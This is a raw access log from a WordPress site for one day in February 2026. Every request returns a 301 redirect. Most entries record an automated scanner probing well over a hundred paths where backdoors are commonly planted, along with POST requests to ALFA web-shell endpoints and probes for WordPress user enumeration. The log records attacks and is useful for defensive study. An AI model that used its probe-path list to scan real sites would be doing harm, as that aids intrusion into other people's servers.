[04/Feb/2026:07:00:26 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:28 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:30 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:32 +0300] "GET /themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:35 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:37 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:39 +0300] "GET /wp-admin/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:41 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:44 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:45 +0300] "GET /plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:47 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:49 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:49 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:50 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:51 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:53 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:54 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:55 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:56 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:58 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:00 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:01 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:02 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:04 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:06 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:08 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:09 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:10 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:12 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:13 +0300] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:14 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:15 +0300] "GET /ww1.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:17 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:18 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:19 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:20 +0300] "GET /css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:22 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:24 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:26 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:27 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:28 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:29 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:29 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:31 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:32 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:34 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:35 +0300] "GET /wp-content/themes/twentytwentytwo/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:36 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:37 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:38 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:39 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:40 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:41 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:43 +0300] "GET /ioxi-o1.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:44 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:45 +0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:48 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:49 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:51 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:52 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:53 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:54 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:55 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:56 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:57 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:01:59 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:00 +0300] "GET /ave.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:01 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:01 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:04 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:07 +0300] "GET /tempae.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:08 +0300] "GET /thebe.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:10 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:12 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:14 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:15 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:17 +0300] "GET /RIP.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:19 +0300] "GET /bnn_.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:20 +0300] "GET /bayss.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:21 +0300] "GET /easy.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:23 +0300] "GET /edorxrr.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:25 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:26 +0300] "GET /zmia.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:27 +0300] "GET /wp-set.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:28 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:30 +0300] "GET /ws38.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:32 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:33 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:37 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:39 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:42 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:44 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:45 +0300] "GET /uploaxa1.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:47 +0300] "GET /rzzaq.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:49 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:50 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:51 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:54 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:56 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:58 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:55:59 +0300] "GET /images/m.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:01 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:03 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:05 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:06 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:07 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:09 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:11 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:14 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:15 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:17 +0300] "GET /lsd.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:18 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:00:02 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:02 +0300] "GET /bibil.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:04 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:06 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:07 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:08 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:10 +0300] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:11 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:12 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:13 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:14 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:16 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:17 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:19 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:21 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:22 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:25 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:26 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:27 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:29 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:31 +0300] "GET /xaz.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:33 +0300] "GET /up4.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:34 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:35 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:37 +0300] "GET /wtz.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:39 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:40 +0300] "GET /xb.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:42 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:44 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:07:02:45 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:54:54 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:46 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:29 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [04/Feb/2026:06:56:31 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 185.209.196.229 - - [04/Feb/2026:08:34:22 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.209.196.229 - - [04/Feb/2026:08:34:55 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 49.51.72.76 - - [04/Feb/2026:09:15:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.165.70.220 - - [04/Feb/2026:08:19:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.209.196.229 - - [04/Feb/2026:08:34:22 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 140.245.101.135 - - [04/Feb/2026:08:36:23 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://t.co/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1; rv:121.0) Gecko/20100101 Firefox/121.0" 185.209.196.229 - - [04/Feb/2026:08:34:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.209.196.229 - - [04/Feb/2026:08:34:22 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 141.98.10.136 - - [04/Feb/2026:08:48:41 +0300] "GET /ss.php?f_c=1 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 64.89.163.24 - - [04/Feb/2026:10:44:00 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 64.62.158.117 - - [04/Feb/2026:10:56:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.26 Safari/537.36" 64.71.166.35 - - [04/Feb/2026:10:13:53 +0300] "GET /none,%20https://eliteewallet.com/wp-content/uploads/2024/06/2147764198.jpg HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.162 Safari/537.36" 64.71.166.35 - - [04/Feb/2026:10:13:53 +0300] "GET /none,%20none HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.162 Safari/537.36" 64.71.166.35 - - [04/Feb/2026:10:13:48 +0300] "GET /wp-content/uploads/theplus-addons/theplus-post-81.min.css?ver=1770092587 HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.162 Safari/537.36" 64.62.158.117 - - [04/Feb/2026:10:56:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.26 Safari/537.36" 64.71.166.35 - - [04/Feb/2026:10:13:53 +0300] "GET /none,%20https://eliteewallet.com/wp-content/uploads/2024/06/2150690130.jpg HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.162 Safari/537.36" 64.71.166.35 - - [04/Feb/2026:10:13:53 +0300] "GET /none,%20https://eliteewallet.com/wp-content/uploads/2024/06/23012.jpg HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.162 Safari/537.36" 64.71.166.35 - - [04/Feb/2026:10:13:50 +0300] "GET /wp-content/uploads/theplus-addons/theplus-post-81.min.js?ver=1770092587 HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.162 Safari/537.36" 64.71.166.35 - - [04/Feb/2026:10:13:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.162 Safari/537.36" 64.71.166.35 - - [04/Feb/2026:10:13:53 +0300] "GET /none,%20https://eliteewallet.com/wp-content/uploads/2024/06/2147919134.jpg HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.162 Safari/537.36" 216.244.66.194 - - [04/Feb/2026:11:51:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 167.71.178.16 - - [04/Feb/2026:12:34:59 +0300] "GET / HTTP/1.1" 301 795 "https://eligendi-et-cumblog.family.blog//blog//wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 178.156.230.80 - - [04/Feb/2026:12:40:39 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 106.227.49.113 - - [04/Feb/2026:14:04:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.164.187.143 - - [04/Feb/2026:13:12:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.187.143 - - [04/Feb/2026:13:12:49 +0300] "GET /x1na.php HTTP/1.1" 301 795 "-" "-" 74.7.241.171 - - [04/Feb/2026:13:11:43 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 74.7.227.1 - - [04/Feb/2026:13:11:44 +0300] "GET / HTTP/1.1" 301 795 "https://www.waze.com" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 185.247.137.40 - - [04/Feb/2026:14:46:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 216.244.66.194 - - [04/Feb/2026:15:17:23 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.153.102.138 - - [04/Feb/2026:14:21:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.144.126 - - [04/Feb/2026:15:16:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 100.30.5.6 - - [04/Feb/2026:15:22:23 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 216.244.66.194 - - [04/Feb/2026:16:55:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 123.30.154.171 - - [04/Feb/2026:16:29:10 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.153.231.163 - - [04/Feb/2026:17:38:34 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 64.89.163.24 - - [04/Feb/2026:20:00:07 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 64.89.163.24 - - [04/Feb/2026:20:00:07 +0300] "GET /?rest_route=/wp/v2/users HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 64.89.163.24 - - [04/Feb/2026:20:00:07 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0" 170.106.84.136 - - [04/Feb/2026:20:19:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 147.135.252.138 - - [04/Feb/2026:20:37:41 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 173.252.82.22 - - [04/Feb/2026:20:49:14 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 147.135.252.138 - - [04/Feb/2026:20:38:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 170.106.72.178 - - [04/Feb/2026:21:29:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) 